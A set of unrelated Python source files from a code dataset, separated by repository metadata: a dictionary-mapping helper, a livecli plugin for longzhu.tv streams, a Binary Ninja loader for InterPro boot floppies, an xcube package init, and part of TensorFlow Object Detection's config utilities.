""" This module defines classes that helps to transform dictionaries. Their purpose is to simply mapping server to client classes and vice versa. At a high level the following happens: ``` 1. body_dict = request.get_json() # Read the request body as JSON, returning a dict 2. server_model = CreatePolicyServerModel.from_dict(body_dict) # The server model needs to be created, since it does the validation 3. server_model_as_dict = server_model.to_dict() 4. client_model_dict = TheTransform.apply(server_model_as_dict) 5. client_model = CreatePolicyClientModel.from_dict(client_model_dict) ``` Note: Step 5 can also be written as ``` client_model = CreatePolicyClientModel(**client_model_dict) ``` The process for the response from the client is similar. The class returned needs to be converted to a dictionary, transformed and used to construct the server response class. """ import logging LOGGER = logging.getLogger(__name__) class Mapping(object): """ A class representing a mapping definition The mapping will be applied to a dictionary field """ def __init__(self, input_field, output_field=None, conversion=None): """ :param input_field: The name of the field to transform :param output_field: The name of the new field name that should be used. If omitted, the name of the input field is used :param conversion: A callable used to map the value. If None, the value of the input field is copied verbatim. """ self.input_field = input_field self.output_field = output_field or input_field self.conversion = conversion class Transformation(object): """ A transformation is a list of Mappings that can be applied to a dictionary. """ def __init__(self, mappings: [Mapping] = None, copy_fields: [str] = None): """ :param mappings: Mappings for fields :param copy_fields: Convenience mechanism for fields that should only be copied. """ copy_fields = copy_fields or [] self._mappings = mappings or [] self._mappings.extend([Mapping(field) for field in copy_fields]) # Verify that there are no duplicate input field names specified self._check_duplicates( [mapping.input_field for mapping in self._mappings] ) # Verify that there are no duplicate output field names specified self._check_duplicates( [mapping.output_field for mapping in self._mappings] ) def apply(self, dictionary: dict) -> dict: """ Apply this transformation to the specified :param dictionary: The dictionary to transform :return: The transformed dictionary """ result = {} for mapping in self._mappings: if mapping.input_field in dictionary: value = dictionary[mapping.input_field] if value is None: continue if mapping.conversion is not None: try: value = mapping.conversion(value) except Exception as e: msg = "Field mapping failed with '{}'\n" \ "Field: '{}'\n" \ "Value: '{}'\n" \ "Conversion: {}".format(e, mapping.input_field, value, mapping.conversion) LOGGER.error(msg) raise RuntimeError(msg) result[mapping.output_field] = value return result def _check_duplicates(self, names): # Verify that there are no duplicate field names specified seen = set() for name in names: if name in seen: raise RuntimeError("Field '{}' specified more than " "once".format(name)) seen.add(name)

36.651376

84

0.614018

9f9ec788fac4fa80210c7d1b7fc51e71e8cb0db2

3,561

py

Python

src/livecli/plugins/tga.py

NghiemTrung/livecli

6a21b1b144b045963b6d1db8d4d8dc8471b62737

[ "BSD-2-Clause" ]

1

2019-12-04T11:54:52.000Z

src/livecli/plugins/tga.py

NghiemTrung/livecli

6a21b1b144b045963b6d1db8d4d8dc8471b62737

[ "BSD-2-Clause" ]

null

src/livecli/plugins/tga.py

NghiemTrung/livecli

6a21b1b144b045963b6d1db8d4d8dc8471b62737

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- import re from livecli.plugin import Plugin from livecli.plugin.api import http, validate from livecli.stream import HLSStream, HTTPStream, RTMPStream __livecli_docs__ = { "domains": [ "star.longzhu.tv", "star.longzhu.com", ], "geo_blocked": [], "notes": "", "live": True, "vod": False, "last_update": "2017-02-17", } CHANNEL_INFO_URL = "http://api.plu.cn/tga/streams/%s" QQ_STREAM_INFO_URL = "http://info.zb.qq.com/?cnlid=%d&cmd=2&stream=%d&system=1&sdtfrom=113" PLU_STREAM_INFO_URL = "http://livestream.plu.cn/live/getlivePlayurl?roomId=%d" _quality_re = re.compile(r"\d+x(\d+)$") _url_re = re.compile(r"http://star\.longzhu\.(?:tv|com)/(m\/)?(?P<domain>[a-z0-9]+)") _channel_schema = validate.Schema( { "data": validate.any(None, { "channel": validate.any(None, { "id": int, "vid": int }) }) }, validate.get("data") ) _plu_schema = validate.Schema( { "playLines": [{ "urls": [{ "securityUrl": validate.url(scheme=validate.any("rtmp", "http")), "resolution": validate.text, "ext": validate.text }] }] } ) _qq_schema = validate.Schema( { validate.optional("playurl"): validate.url(scheme="http") }, validate.get("playurl") ) STREAM_WEIGHTS = { "middle": 540, "source": 1080 } class Tga(Plugin): @classmethod def can_handle_url(self, url): return _url_re.match(url) @classmethod def stream_weight(cls, stream): if stream in STREAM_WEIGHTS: return STREAM_WEIGHTS[stream], "tga" return Plugin.stream_weight(stream) def _get_quality(self, label): match = _quality_re.search(label) if match: return match.group(1) + "p" else: return "live" def _get_channel_id(self, domain): channel_info = http.get(CHANNEL_INFO_URL % str(domain)) info = http.json(channel_info, schema=_channel_schema) if info is None: return 0, 0 return info['channel']['vid'], info['channel']['id'] def _get_qq_streams(self, vid): res = http.get(QQ_STREAM_INFO_URL % (vid, 1)) info = http.json(res, schema=_qq_schema) yield "live", HTTPStream(self.session, info) res = http.get(QQ_STREAM_INFO_URL % (vid, 2)) info = http.json(res, schema=_qq_schema) yield "live", HLSStream(self.session, info) def _get_plu_streams(self, cid): res = http.get(PLU_STREAM_INFO_URL % cid) info = http.json(res, schema=_plu_schema) for source in info["playLines"][0]["urls"]: quality = self._get_quality(source["resolution"]) if source["ext"] == "m3u8": yield quality, HLSStream(self.session, source["securityUrl"]) elif source["ext"] == "flv": yield quality, HTTPStream(self.session, source["securityUrl"]) elif source["ext"] == "rtmp": yield quality, RTMPStream(self.session, { "rtmp": source["securityUrl"], "live": True }) def _get_streams(self): match = _url_re.match(self.url) domain = match.group('domain') vid, cid = self._get_channel_id(domain) if vid != 0: return self._get_qq_streams(vid) elif cid != 0: return self._get_plu_streams(cid) __plugin__ = Tga

27.820313

91

0.570626

61c292782fc63d0f9a1c216a95fcfa91d2603252

12,138

py

Python

disk.py

pmackinlay/binaryninja-clipper

dbf67a277398a06f740bccf9aee920f9c6e04a4e

[ "MIT" ]

5

2018-02-23T08:28:33.000Z

2022-01-10T10:40:25.000Z

disk.py

pmackinlay/binaryninja-clipper

dbf67a277398a06f740bccf9aee920f9c6e04a4e

[ "MIT" ]

1

2019-07-04T20:11:38.000Z

disk.py

pmackinlay/binaryninja-clipper

dbf67a277398a06f740bccf9aee920f9c6e04a4e

[ "MIT" ]

1

2018-04-08T20:43:47.000Z

import struct import traceback from binaryninja.platform import Platform from binaryninja.binaryview import BinaryView from binaryninja.types import Symbol from binaryninja.log import log_error, log_info from binaryninja.enums import (SegmentFlag, SymbolType, SectionSemantics) from unpack import unpack # CLIPPER executables loaded from disk images. Currently only supports the # Sapphire rebuild boot floppy (I/O system monitor and blue screen utilities) # but should be extended to support others such as FDMDISK, etc. # TODO: # - inject unpacked data into parent view # - refactor and complete hardware symbols class BootFloppy(BinaryView): name = 'InterPro Bootable Floppy' long_name = 'InterPro Bootable Floppy' def __init__(self, data): BinaryView.__init__(self, parent_view = data, file_metadata = data.file) @classmethod def is_valid_for_data(self, data): hdr = data.read(0, 4) if len(hdr) < 4: return False if hdr[0:4] == 'sane': return True return False def init(self): self.platform = Platform['interpro-clipper'] self.unpacked = [] try: # read floppy partition header: floppypar(4) (magic, partition_count) = struct.unpack('<4sH', self.parent_view.read(0, 6)) for partition_number in range(partition_count): # read partition information (par, mod, start_block, end_block) = struct.unpack('<2B2H', self.parent_view.read(6 + partition_number * 6, 6)) log_info('par {:x}.{:x} start_block {} end_block {}'.format(par, mod, start_block, end_block)) # read partition boot block: bootheader(4) (b_magic, b_checksum, b_processor, b_loadaddr, b_loadsize, b_uinitaddr, b_uinitsize, b_entry, b_time) = struct.unpack( '<L2H6L', self.parent_view.read(start_block * 512, 32)) log_info(' b_magic 0x{:x} b_checksum 0x{:x} b_processor {} b_loadaddr 0x{:x} b_loadsize 0x{:x} b_uinitaddr 0x{:x} b_uinitsize 0x{:x} b_entry 0x{:x}'.format( b_magic, b_checksum, b_processor, b_loadaddr, b_loadsize, b_uinitaddr, b_uinitsize, b_entry)) if par == 8 and b_processor == 1: if mod == 0: # i/o system monitor self.add_auto_segment(b_loadaddr, b_loadsize, (start_block + 1) * 512, b_loadsize, SegmentFlag.SegmentContainsCode | SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentExecutable) self.add_auto_section('{:x}.{:x}.text'.format(par, mod), b_loadaddr, b_loadsize, SectionSemantics.ReadOnlyCodeSectionSemantics) self.add_auto_segment(b_uinitaddr, b_uinitaddr, 0, 0, SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable) self.add_auto_section('{:x}.{:x}.bss'.format(par, mod), b_uinitaddr, b_uinitsize, SectionSemantics.ReadWriteDataSectionSemantics) self.add_entry_point(b_entry) elif mod == 2: # blue screen utility # hard-coded lookup to find copied code block offset based on partition checksum copy_lookup = { 0xe5c5:0x48d98, # C400 0xb0d0:0x4ed98 # CLIPPER } copy_offset = copy_lookup[b_checksum] copy_size = b_loadsize - copy_offset copy_address = 0x280000 self.add_auto_segment(b_loadaddr, b_loadsize, (start_block + 1) * 512, copy_offset, SegmentFlag.SegmentContainsCode | SegmentFlag.SegmentReadable | SegmentFlag.SegmentExecutable) self.add_auto_section('{:x}.{:x}.boot'.format(par, mod), b_loadaddr, b_loadsize, SectionSemantics.ReadOnlyCodeSectionSemantics) # copy loaded text self.add_auto_segment(copy_address, copy_size, (start_block + 1) * 512 + copy_offset, copy_size, SegmentFlag.SegmentContainsCode | SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable | SegmentFlag.SegmentExecutable) self.add_auto_section('{:x}.{:x}.text'.format(par, mod), copy_address, copy_size, SectionSemantics.ReadOnlyCodeSectionSemantics) # FIXME: for CLIPPER, the erased size should be copy_size + 0x69b00, unknown why # create an unitialised data section directly after the copied data self.add_auto_segment(copy_address + copy_size, 0x71450, 0, 0, SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable) self.add_auto_section('{:x}.{:x}.bss'.format(par, mod), copy_address + copy_size, 0x71450, SectionSemantics.ReadWriteDataSectionSemantics) # the first 8 pages contain vectors and hard-coded page mappings #self.add_auto_segment(0, 0x8000, 0, 0, SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable) #self.add_auto_section('vectors', 0x0, 0x8000, SectionSemantics.ReadWriteDataSectionSemantics) self.add_entry_point(0x8000) elif par == 0xa: # Diagnostic disk partition allocation is as follows: # # sapphire1.flp sapphire2.flp sapphire2.flp # mod content mod content mod content # 0 FDMDISK # 2 GT/GT+/GTII 2 EDGE II/II+ # 3 Digitizer # 4 Token Ring # 5 Hard PC # 11 CLIPPER # 12 Clock/Calendar # 13 Ethernet # 15 I/O Gate Array # 16 Memory # 17 Plotter # 18 SCSI # 19 Serial if b_uinitsize > 0: # unpacked fdmdisk module self.add_auto_segment(b_loadaddr, b_loadsize, (start_block + 1) * 512, b_loadsize, SegmentFlag.SegmentContainsCode | SegmentFlag.SegmentReadable | SegmentFlag.SegmentExecutable) self.add_auto_section('{:x}.{:x}.text'.format(par, mod), b_loadaddr, b_loadsize, SectionSemantics.ReadOnlyCodeSectionSemantics) self.add_auto_segment(b_uinitaddr, b_uinitsize, 0, 0, SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable) self.add_auto_section('{:x}.{:x}.bss'.format(par, mod), b_uinitaddr, b_uinitsize, SectionSemantics.ReadWriteDataSectionSemantics) self.add_entry_point(b_entry) elif mod not in [3,4,5]: # packed fdmdisk module (3, 4, and 5 use the same address range, so can't be loaded together) # temporarily map the boot segment self.add_auto_segment(b_loadaddr, b_loadsize, (start_block + 1) * 512, b_loadsize, SegmentFlag.SegmentContainsCode | SegmentFlag.SegmentReadable) # read packed data offset, unpacked entry point and unpacked bss address/size (packed_addr, unpacked_entry, unpacked_bss_addr, unpacked_bss_size) = struct.unpack('<4L', self.read(b_loadaddr, 16)) # read unpacked start address and packed length (unpacked_addr, packed_size) = struct.unpack('<2L', self.read(packed_addr, 8)) sections = [] while packed_size > 0: # unpack a block of packed data unpacked_data = unpack(self.read(packed_addr + 8, packed_size)) log_info(' unpacked data addr 0x{:x} size 0x{:x}'.format(unpacked_addr, len(unpacked_data))) # record the unpacked start address/end addresses and data section = [x for x in sections if x[0] + len(x[1]) == unpacked_addr] if len(section) == 1: log_info(' merging with existing unpacked data {:x}'.format(section[0][0])) section[0][1] += unpacked_data else: log_info(' creating new unpacked data range {:x} length {:x}'.format(unpacked_addr, len(unpacked_data))) sections += [[unpacked_addr, unpacked_data]] # find the next packed data block packed_addr += (packed_size + 0x17) & ~0xf (unpacked_addr, packed_size) = struct.unpack('<2L', self.read(packed_addr, 8)) # create sections self.unpacked += sections for unpacked in sections: self.add_auto_section('{:x}.{:x}.text'.format(par, mod), unpacked[0], len(unpacked[1]), SectionSemantics.ReadOnlyCodeSectionSemantics) # unmap the boot segment self.remove_auto_segment(b_loadaddr, b_loadsize) self.add_auto_segment(unpacked_bss_addr, unpacked_bss_size, 0, 0, SegmentFlag.SegmentContainsData | SegmentFlag.SegmentReadable | SegmentFlag.SegmentWritable) self.add_auto_section('{:x}.{:x}.bss'.format(par, mod), unpacked_bss_addr, unpacked_bss_size, SectionSemantics.ReadWriteDataSectionSemantics) self.add_entry_point(unpacked_entry) # test symbol creation for name,address in [ ('timer2', 0x7f0fff5c), ('timer3', 0x7f0fff5e), ('scsi', 0x7f0fff60), ('floppy', 0x7f0fff62), ('plotter', 0x7f0fff64), ('cbus0', 0x7f0fff66), ('cbus1', 0x7f0fff68), ('cbus2', 0x7f0fff6a), ('vb', 0x7f0fff6c), ('ext7', 0x7f0fff6e), ('cbus3', 0x7f0fff70), ('rtc', 0x7f0fff72), ('60Hz', 0x7f0fff74), ('mouse', 0x7f0fff76), ('timer0', 0x7f0fff78), ('timer1', 0x7f0fff7a), ('serial_dma', 0x7f0fff7c), ('serial', 0x7f0fff7e), ('ethernet', 0x7f0fff80)]: self.define_auto_symbol(Symbol(SymbolType.ImportedDataSymbol, address + 0, 'ioga_icr_' + name)) self.define_auto_symbol(Symbol(SymbolType.ImportedDataSymbol, address + 1, 'ioga_icr_' + name + '_ctrl')) for name,address in [ ('prescaler', 0x7f0fff88), ('timer0', 0x7f0fff8c), ('timer1', 0x7f0fff90)]: self.define_auto_symbol(Symbol(SymbolType.ImportedDataSymbol, address, 'ioga_' + name)) return True except: log_error(traceback.format_exc()) return False def perform_is_executable(self): return True def perform_get_length(self): return sum(len(x[1]) for x in self.unpacked) def perform_get_start(self): return min(x[0] for x in self.unpacked) def perform_read(self, addr, length): unpacked_range = [x for x in self.unpacked if x[0] <= addr < x[0] + len(x[1]) and x[0] <= addr + length <= x[0] + len(x[1])] if len(unpacked_range) == 1: start_offset = addr - unpacked_range[0][0] end_offset = start_offset + length return unpacked_range[0][1][start_offset:end_offset] else: return ''

55.935484

279

0.570934

9664d2e1b8cc7b74c4a8d92978a0280e44aedb11

2,315

py

Python

xcube/core/gen2/__init__.py

bcdev/xcube

9d275ef3baef8fbcea5c1fbbfb84c3d0164aecd3

[ "MIT" ]

97

2018-06-26T13:02:55.000Z

2022-03-26T21:03:13.000Z

xcube/core/gen2/__init__.py

bcdev/xcube

9d275ef3baef8fbcea5c1fbbfb84c3d0164aecd3

[ "MIT" ]

524

2018-11-09T12:00:08.000Z

2022-03-31T17:00:13.000Z

xcube/core/gen2/__init__.py

bcdev/xcube

9d275ef3baef8fbcea5c1fbbfb84c3d0164aecd3

[ "MIT" ]

15

2019-07-09T08:46:03.000Z

2022-02-07T18:47:34.000Z

# The MIT License (MIT) # Copyright (c) 2021 by the xcube development team and contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is furnished to do # so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # noinspection PyUnresolvedReferences from xcube.core.byoa import CodeConfig # noinspection PyUnresolvedReferences from xcube.core.byoa import FileSet # noinspection PyUnresolvedReferences from xcube.core.store.descriptor import DatasetDescriptor from .config import CallbackConfig from .config import CubeConfig from .config import InputConfig from .config import OutputConfig from .error import CubeGeneratorError from .generator import CubeGenerator from .local.generator import LocalCubeGenerator from .processor import DatasetProcessor from .processor import METHOD_NAME_DATASET_PROCESSOR from .processor import METHOD_NAME_PARAMS_SCHEMA_GETTER from .remote.config import ServiceConfig from .remote.config import ServiceConfigLike from .remote.generator import RemoteCubeGenerator from .remote.response import CostEstimation from .remote.response import CubeInfoWithCosts from .remote.response import CubeInfoWithCostsResult from .request import CubeGeneratorRequest from .request import CubeGeneratorRequestLike from .response import CubeGeneratorResult from .response import CubeInfo from .response import CubeInfoResult from .response import CubeReference

45.392157

81

0.825918

7e0ea010a22b6a48cc7ae681b1acf0aebdb6b391

52,607

py

Python

research/object_detection/utils/config_util.py

hjkim-haga/TF-OD-API

22ac477ff4dfb93fe7a32c94b5f0b1e74330902b

[ "Apache-2.0" ]

null

research/object_detection/utils/config_util.py

hjkim-haga/TF-OD-API

22ac477ff4dfb93fe7a32c94b5f0b1e74330902b

[ "Apache-2.0" ]

null

research/object_detection/utils/config_util.py

hjkim-haga/TF-OD-API

22ac477ff4dfb93fe7a32c94b5f0b1e74330902b

[ "Apache-2.0" ]

null

# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Functions for reading and updating configuration files.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from google.protobuf import text_format import tensorflow.compat.v1 as tf from tensorflow.python.lib.io import file_io from object_detection.protos import eval_pb2 from object_detection.protos import graph_rewriter_pb2 from object_detection.protos import input_reader_pb2 from object_detection.protos import model_pb2 from object_detection.protos import pipeline_pb2 from object_detection.protos import train_pb2 def get_image_resizer_config(model_config): """Returns the image resizer config from a model config. Args: model_config: A model_pb2.DetectionModel. Returns: An image_resizer_pb2.ImageResizer. Raises: ValueError: If the model type is not recognized. """ meta_architecture = model_config.WhichOneof("model") meta_architecture_config = getattr(model_config, meta_architecture) if hasattr(meta_architecture_config, "image_resizer"): return getattr(meta_architecture_config, "image_resizer") else: raise ValueError("{} has no image_reszier_config".format( meta_architecture)) def get_spatial_image_size(image_resizer_config): """Returns expected spatial size of the output image from a given config. Args: image_resizer_config: An image_resizer_pb2.ImageResizer. Returns: A list of two integers of the form [height, width]. `height` and `width` are set -1 if they cannot be determined during graph construction. Raises: ValueError: If the model type is not recognized. """ if image_resizer_config.HasField("fixed_shape_resizer"): return [ image_resizer_config.fixed_shape_resizer.height, image_resizer_config.fixed_shape_resizer.width ] if image_resizer_config.HasField("keep_aspect_ratio_resizer"): if image_resizer_config.keep_aspect_ratio_resizer.pad_to_max_dimension: return [image_resizer_config.keep_aspect_ratio_resizer.max_dimension] * 2 else: return [-1, -1] if image_resizer_config.HasField( "identity_resizer") or image_resizer_config.HasField( "conditional_shape_resizer"): return [-1, -1] raise ValueError("Unknown image resizer type.") def get_max_num_context_features(model_config): """Returns maximum number of context features from a given config. Args: model_config: A model config file. Returns: An integer specifying the max number of context features if the model config contains context_config, None otherwise """ meta_architecture = model_config.WhichOneof("model") meta_architecture_config = getattr(model_config, meta_architecture) if hasattr(meta_architecture_config, "context_config"): return meta_architecture_config.context_config.max_num_context_features def get_context_feature_length(model_config): """Returns context feature length from a given config. Args: model_config: A model config file. Returns: An integer specifying the fixed length of each feature in context_features. """ meta_architecture = model_config.WhichOneof("model") meta_architecture_config = getattr(model_config, meta_architecture) if hasattr(meta_architecture_config, "context_config"): return meta_architecture_config.context_config.context_feature_length def get_configs_from_pipeline_file(pipeline_config_path, config_override=None): """Reads config from a file containing pipeline_pb2.TrainEvalPipelineConfig. Args: pipeline_config_path: Path to pipeline_pb2.TrainEvalPipelineConfig text proto. config_override: A pipeline_pb2.TrainEvalPipelineConfig text proto to override pipeline_config_path. Returns: Dictionary of configuration objects. Keys are `model`, `train_config`, `train_input_config`, `eval_config`, `eval_input_config`. Value are the corresponding config objects. """ pipeline_config = pipeline_pb2.TrainEvalPipelineConfig() with tf.gfile.GFile(pipeline_config_path, "r") as f: proto_str = f.read() text_format.Merge(proto_str, pipeline_config) if config_override: text_format.Merge(config_override, pipeline_config) return create_configs_from_pipeline_proto(pipeline_config) def clear_fine_tune_checkpoint(pipeline_config_path, new_pipeline_config_path): """Clears fine_tune_checkpoint and writes a new pipeline config file.""" configs = get_configs_from_pipeline_file(pipeline_config_path) configs["train_config"].fine_tune_checkpoint = "" configs["train_config"].load_all_detection_checkpoint_vars = False pipeline_proto = create_pipeline_proto_from_configs(configs) with tf.gfile.Open(new_pipeline_config_path, "wb") as f: f.write(text_format.MessageToString(pipeline_proto)) def update_fine_tune_checkpoint_type(train_config): """Set `fine_tune_checkpoint_type` using `from_detection_checkpoint`. `train_config.from_detection_checkpoint` field is deprecated. For backward compatibility, this function sets `train_config.fine_tune_checkpoint_type` based on `train_config.from_detection_checkpoint`. Args: train_config: train_pb2.TrainConfig proto object. """ if not train_config.fine_tune_checkpoint_type: if train_config.from_detection_checkpoint: train_config.fine_tune_checkpoint_type = "detection" else: train_config.fine_tune_checkpoint_type = "classification" def create_configs_from_pipeline_proto(pipeline_config): """Creates a configs dictionary from pipeline_pb2.TrainEvalPipelineConfig. Args: pipeline_config: pipeline_pb2.TrainEvalPipelineConfig proto object. Returns: Dictionary of configuration objects. Keys are `model`, `train_config`, `train_input_config`, `eval_config`, `eval_input_configs`. Value are the corresponding config objects or list of config objects (only for eval_input_configs). """ configs = {} configs["model"] = pipeline_config.model configs["train_config"] = pipeline_config.train_config configs["train_input_config"] = pipeline_config.train_input_reader configs["eval_config"] = pipeline_config.eval_config configs["eval_input_configs"] = pipeline_config.eval_input_reader # Keeps eval_input_config only for backwards compatibility. All clients should # read eval_input_configs instead. if configs["eval_input_configs"]: configs["eval_input_config"] = configs["eval_input_configs"][0] if pipeline_config.HasField("graph_rewriter"): configs["graph_rewriter_config"] = pipeline_config.graph_rewriter return configs def get_graph_rewriter_config_from_file(graph_rewriter_config_file): """Parses config for graph rewriter. Args: graph_rewriter_config_file: file path to the graph rewriter config. Returns: graph_rewriter_pb2.GraphRewriter proto """ graph_rewriter_config = graph_rewriter_pb2.GraphRewriter() with tf.gfile.GFile(graph_rewriter_config_file, "r") as f: text_format.Merge(f.read(), graph_rewriter_config) return graph_rewriter_config def create_pipeline_proto_from_configs(configs): """Creates a pipeline_pb2.TrainEvalPipelineConfig from configs dictionary. This function performs the inverse operation of create_configs_from_pipeline_proto(). Args: configs: Dictionary of configs. See get_configs_from_pipeline_file(). Returns: A fully populated pipeline_pb2.TrainEvalPipelineConfig. """ pipeline_config = pipeline_pb2.TrainEvalPipelineConfig() pipeline_config.model.CopyFrom(configs["model"]) pipeline_config.train_config.CopyFrom(configs["train_config"]) pipeline_config.train_input_reader.CopyFrom(configs["train_input_config"]) pipeline_config.eval_config.CopyFrom(configs["eval_config"]) pipeline_config.eval_input_reader.extend(configs["eval_input_configs"]) if "graph_rewriter_config" in configs: pipeline_config.graph_rewriter.CopyFrom(configs["graph_rewriter_config"]) return pipeline_config def save_pipeline_config(pipeline_config, directory): """Saves a pipeline config text file to disk. Args: pipeline_config: A pipeline_pb2.TrainEvalPipelineConfig. directory: The model directory into which the pipeline config file will be saved. """ if not file_io.file_exists(directory): file_io.recursive_create_dir(directory) pipeline_config_path = os.path.join(directory, "pipeline.config") config_text = text_format.MessageToString(pipeline_config) with tf.gfile.Open(pipeline_config_path, "wb") as f: tf.logging.info("Writing pipeline config file to %s", pipeline_config_path) f.write(config_text) def get_configs_from_multiple_files(model_config_path="", train_config_path="", train_input_config_path="", eval_config_path="", eval_input_config_path="", graph_rewriter_config_path=""): """Reads training configuration from multiple config files. Args: model_config_path: Path to model_pb2.DetectionModel. train_config_path: Path to train_pb2.TrainConfig. train_input_config_path: Path to input_reader_pb2.InputReader. eval_config_path: Path to eval_pb2.EvalConfig. eval_input_config_path: Path to input_reader_pb2.InputReader. graph_rewriter_config_path: Path to graph_rewriter_pb2.GraphRewriter. Returns: Dictionary of configuration objects. Keys are `model`, `train_config`, `train_input_config`, `eval_config`, `eval_input_config`. Key/Values are returned only for valid (non-empty) strings. """ configs = {} if model_config_path: model_config = model_pb2.DetectionModel() with tf.gfile.GFile(model_config_path, "r") as f: text_format.Merge(f.read(), model_config) configs["model"] = model_config if train_config_path: train_config = train_pb2.TrainConfig() with tf.gfile.GFile(train_config_path, "r") as f: text_format.Merge(f.read(), train_config) configs["train_config"] = train_config if train_input_config_path: train_input_config = input_reader_pb2.InputReader() with tf.gfile.GFile(train_input_config_path, "r") as f: text_format.Merge(f.read(), train_input_config) configs["train_input_config"] = train_input_config if eval_config_path: eval_config = eval_pb2.EvalConfig() with tf.gfile.GFile(eval_config_path, "r") as f: text_format.Merge(f.read(), eval_config) configs["eval_config"] = eval_config if eval_input_config_path: eval_input_config = input_reader_pb2.InputReader() with tf.gfile.GFile(eval_input_config_path, "r") as f: text_format.Merge(f.read(), eval_input_config) configs["eval_input_configs"] = [eval_input_config] if graph_rewriter_config_path: configs["graph_rewriter_config"] = get_graph_rewriter_config_from_file( graph_rewriter_config_path) return configs def get_number_of_classes(model_config): """Returns the number of classes for a detection model. Args: model_config: A model_pb2.DetectionModel. Returns: Number of classes. Raises: ValueError: If the model type is not recognized. """ meta_architecture = model_config.WhichOneof("model") meta_architecture_config = getattr(model_config, meta_architecture) if hasattr(meta_architecture_config, "num_classes"): return meta_architecture_config.num_classes else: raise ValueError("{} does not have num_classes.".format(meta_architecture)) def get_optimizer_type(train_config): """Returns the optimizer type for training. Args: train_config: A train_pb2.TrainConfig. Returns: The type of the optimizer """ return train_config.optimizer.WhichOneof("optimizer") def get_learning_rate_type(optimizer_config): """Returns the learning rate type for training. Args: optimizer_config: An optimizer_pb2.Optimizer. Returns: The type of the learning rate. """ return optimizer_config.learning_rate.WhichOneof("learning_rate") def _is_generic_key(key): """Determines whether the key starts with a generic config dictionary key.""" for prefix in [ "graph_rewriter_config", "model", "train_input_config", "train_config", "eval_config"]: if key.startswith(prefix + "."): return True return False def _check_and_convert_legacy_input_config_key(key): """Checks key and converts legacy input config update to specific update. Args: key: string indicates the target of update operation. Returns: is_valid_input_config_key: A boolean indicating whether the input key is to update input config(s). key_name: 'eval_input_configs' or 'train_input_config' string if is_valid_input_config_key is true. None if is_valid_input_config_key is false. input_name: always returns None since legacy input config key never specifies the target input config. Keeping this output only to match the output form defined for input config update. field_name: the field name in input config. `key` itself if is_valid_input_config_key is false. """ key_name = None input_name = None field_name = key is_valid_input_config_key = True if field_name == "train_shuffle": key_name = "train_input_config" field_name = "shuffle" elif field_name == "eval_shuffle": key_name = "eval_input_configs" field_name = "shuffle" elif field_name == "train_input_path": key_name = "train_input_config" field_name = "input_path" elif field_name == "eval_input_path": key_name = "eval_input_configs" field_name = "input_path" elif field_name == "append_train_input_path": key_name = "train_input_config" field_name = "input_path" elif field_name == "append_eval_input_path": key_name = "eval_input_configs" field_name = "input_path" else: is_valid_input_config_key = False return is_valid_input_config_key, key_name, input_name, field_name def check_and_parse_input_config_key(configs, key): """Checks key and returns specific fields if key is valid input config update. Args: configs: Dictionary of configuration objects. See outputs from get_configs_from_pipeline_file() or get_configs_from_multiple_files(). key: string indicates the target of update operation. Returns: is_valid_input_config_key: A boolean indicate whether the input key is to update input config(s). key_name: 'eval_input_configs' or 'train_input_config' string if is_valid_input_config_key is true. None if is_valid_input_config_key is false. input_name: the name of the input config to be updated. None if is_valid_input_config_key is false. field_name: the field name in input config. `key` itself if is_valid_input_config_key is false. Raises: ValueError: when the input key format doesn't match any known formats. ValueError: if key_name doesn't match 'eval_input_configs' or 'train_input_config'. ValueError: if input_name doesn't match any name in train or eval input configs. ValueError: if field_name doesn't match any supported fields. """ key_name = None input_name = None field_name = None fields = key.split(":") if len(fields) == 1: field_name = key return _check_and_convert_legacy_input_config_key(key) elif len(fields) == 3: key_name = fields[0] input_name = fields[1] field_name = fields[2] else: raise ValueError("Invalid key format when overriding configs.") # Checks if key_name is valid for specific update. if key_name not in ["eval_input_configs", "train_input_config"]: raise ValueError("Invalid key_name when overriding input config.") # Checks if input_name is valid for specific update. For train input config it # should match configs[key_name].name, for eval input configs it should match # the name field of one of the eval_input_configs. if isinstance(configs[key_name], input_reader_pb2.InputReader): is_valid_input_name = configs[key_name].name == input_name else: is_valid_input_name = input_name in [ eval_input_config.name for eval_input_config in configs[key_name] ] if not is_valid_input_name: raise ValueError("Invalid input_name when overriding input config.") # Checks if field_name is valid for specific update. if field_name not in [ "input_path", "label_map_path", "shuffle", "mask_type", "sample_1_of_n_examples" ]: raise ValueError("Invalid field_name when overriding input config.") return True, key_name, input_name, field_name def merge_external_params_with_configs(configs, hparams=None, kwargs_dict=None): """Updates `configs` dictionary based on supplied parameters. This utility is for modifying specific fields in the object detection configs. Say that one would like to experiment with different learning rates, momentum values, or batch sizes. 